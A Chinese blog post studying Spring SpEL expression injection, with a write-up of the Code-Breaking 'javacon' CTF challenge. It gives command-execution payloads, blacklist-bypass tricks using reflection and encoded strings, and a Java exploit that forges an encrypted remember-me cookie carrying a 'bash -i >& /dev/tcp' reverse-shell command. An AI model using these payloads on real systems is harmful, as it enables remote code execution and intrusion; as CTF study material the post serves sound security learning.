Back

简单的代码审计与SpEL表达式注入学习

题目来自Code-Breaking Puzzles

最近稍微补了补Spring相关的知识点,正好把之前一直没啃下来的SpEL表达式注入学了,这里就借Code-Breaking的题目来记录一下学到的东西
题目地址:Code-Breaking Puzzles javacon

SpEL表达式注入

测试环境:Jdk17,SpringBoot3

漏洞原理

有关SpEL表达式的基础就不展开讲了,详情可移步这篇 SpEL表达式注入漏洞总结 [Mi1k7ea]

基本漏洞代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package com.boot.boot302demo;

import ...

@RestController
public class SpELDemo {

    @RequestMapping("/")
    public String spelDemo(@RequestParam String ex) {
        if(ex != null) {
            ExpressionParser parser = new SpelExpressionParser();   //创建SpEL解析器
            EvaluationContext context = new StandardEvaluationContext();    //创建表达式解析时的上下文环境
            Expression exp = parser.parseExpression(ex);    //将传入的ex解析为SpEL表达式对象

            return exp.getValue(context).toString();    //调用getValue对表达式进行求值并转为字符串返回
        } else {
            return "What are you doing?";
        }

    }
}

基于Expression实现的SpEL表达式解析无需通过界定符#{}来注明

启动环境后,在web根目录传入ex参数,即可实现表达式解析,如T(Math).sqrt(16)会被解析为4.0

SpEL提供了两个EvaluationContext用于创建上下文环境,分别是Simple与我们的测试代码中使用的Standard

  • SimpleEvaluationContext:针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集
  • StandardEvaluationContext:公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

因此,如果要实现SpEL表达式注入,目标必须使用StandardEvaluationContext(默认)作为上下文对象

根据之前的测试代码可看到,SpEL表达式可通过类类型表达式T()来调用任意类方法,但是除了java.lang包下的类,调用的类必须为全类名。所以我们就可以通过T()表达式来调用危险类,实现命令执行,如Runtime

利用条件

总结一下

  1. 传入的表达式未被过滤或者能够Bypass
  2. 目标使用StandardEvaluation作为上下文对象
  3. 表达式解析后调用了getValuesetValue方法

一些Bypass技巧

稍微收集了一些基础的POC,默认去掉了#{}

POC原型:

1
2
3
4
5
//Runtime
T(java.lang.Runtime).getRuntime().exec("calc")

//ProcessBuilder
new java.lang.ProcessBuilder(new String{"calc"}).start()

Bypass:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//反射调用Runtime
T(String).getClass().forName("java.lang.Runtime").getRuntime.exec("calc")

//反射调用Runtime + 字符串拼接
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

//String类动态生成字符Runtime
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))


//String类动态生成字符ProcessBuilder
new new ProcessBuilder(new String(new byte[]{99,97,108,99})).start()

String类动态生成字符的脚本,来自Mi1k7ea师傅

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
message = input("Enter message to encode:")

print("Decoded string (in ASCII):\n")

print("T(java.lang.Character).toString(%s)" % ord(message[0]), end="")
for ch in message[1:]:
    print(".concat(T(java.lang.Character).toString(%s))" % ord(ch), end=""),
print("\n")

print("new java.lang.String(new byte[]{", end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
    print(",%s" % ord(ch), end=""),
print("})")

多参数命令需要手动拼接

这里只记录了最基础的几种利用方法,包括远程调用在内的其他利用方法之后单独出一篇总结

javacon WriteUp

jar包下载:javacon 源码

开启环境后先尝试下登录功能,弱口令admin登录成功后,服务端返回了一个参数为remember-me的cookie,同时回到web根目录,回显登录成功的信息

代码审计

把jar包导入IDEA反编译,项目结构如下:

从SpringBoot的配置文件application.yml开始

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

keywordsKeyworkProperties类的配置属性,定义了黑名单
userUserConfig类的配置属性,定义了用户名、密码与加密密钥

其他文件:
SmallEvaluationContext继承自StandardEvaluationContext,用于提供上下文环境
Encryptor为加解密工具类,用于实现加解密操作
ChallengeApplication为程序入口,用于启动

接下来主要看MainController

根据之前对web页面功能点的尝试结果,决定从登录开始看起,毕竟无论漏洞点在何处,都需要先进行登录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
@PostMapping({"/login"})
    public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
        if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
            session.setAttribute("username", username);
            if (isRemember != null && !isRemember.equals("")) {
                Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
                c.setMaxAge(2592000);
                response.addCookie(c);
            }

            return "redirect:/";
        } else {
            return "redirect:/login-error";
        }
    }

用户名与密码校验通过后,如果勾选了rememberMe,则将加密后的Cookie存入浏览器
跟进加密过程,在UserConfigencryptRememberMe方法中调用了Encryptorencrypt方法
可以看到指定了配置文件中的加密密钥与iv,第三个参数为当前用户名,也就是要被加密的内容

1
2
3
4
    public String encryptRememberMe() {
        String encryptd = Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username);
        return encryptd;
    }

登录成功跳转至根目录后其中一个比较敏感的操作是对Cookie的处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
@GetMapping
    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if (rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if (username != null) {
                session.setAttribute("username", username);
            }
        }

        Object username = session.getAttribute("username");
        if (username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }

判断rememberMe是否存在,若存在则对该值进行解密,和加密一样,也是调用了UserConfig的解密方法,其中调用了Encryptordecrypt方法

解密后的内容在调用getAdvanceValue方法后发送到hello.html中并跳转

1
<h2 th:text="'Hello, ' + ${session.username}"></h2>

问题就出在这个getAdvanceValue方法中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
private String getAdvanceValue(String val) {
    for(String keyword : this.keyworkProperties.getBlacklist()) {
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
        }
    }

    ParserContext parserContext = new TemplateParserContext();
    Expression exp = this.parser.parseExpression(val, parserContext);
    SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}

在Controller的开头程序就创建了SpEL解释器,因此这里不再重复创建
先是对解密后的内容进行黑名单关键字匹配,如果匹配到则抛出HttpStatus.FORBIDDEN
没有匹配到就进行SpEL表达式解析,最后返回字符串

结合我们之前给出的三个前置利用条件,确认这里存在SpEL表达式注入漏洞,我们只需要绕过黑名单即可

编写Exploit

利用思路:

  1. 编写恶意的SpEL表达式绕过黑名单
  2. Encryptor中的加密方法加密恶意表达式,生成cookie
  3. 携带该cookie访问web根目录,触发SpEL表达式注入

首先需要绕黑名单,过滤了一些关键字,因此可以用反射与字符串拼接来绕过

payload:

1
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/[ip]/[port] 0>&1"})

Exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;


public class TestClass {

    public static void main(String[] args) {
        String rememberMeKey = "c0dehack1nghere1";
        String iv = "0123456789abcdef";
        String value = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/[ip]/[port] 0>&1\"})}";

        System.out.println(encrypt(rememberMeKey, iv, value));

    }


    public static String encrypt(String key, String initVector, String value) {
        try {
            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes(StandardCharsets.UTF_8));
            SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(StandardCharsets.UTF_8), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            cipher.init(1, keySpec, iv);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return Base64.getUrlEncoder().encodeToString(encrypted);
        } catch (Exception ex) {
            return ex.getMessage();
        }
    }
}

服务器监听后带上cookie访问web根目录即可成功反弹shell

由于目标使用了TemplateParserContext解析上下文,因此我们编写的表达式需要带上界定符#{}

参考

SpEL表达式注入漏洞总结 [Mi1k7ea]
SPEL表达式注入总结及回显技术 [Boogipop]
JAVA代码审计之SpEL表达式 [JFH998]

Licensed under CC BY-NC-SA 4.0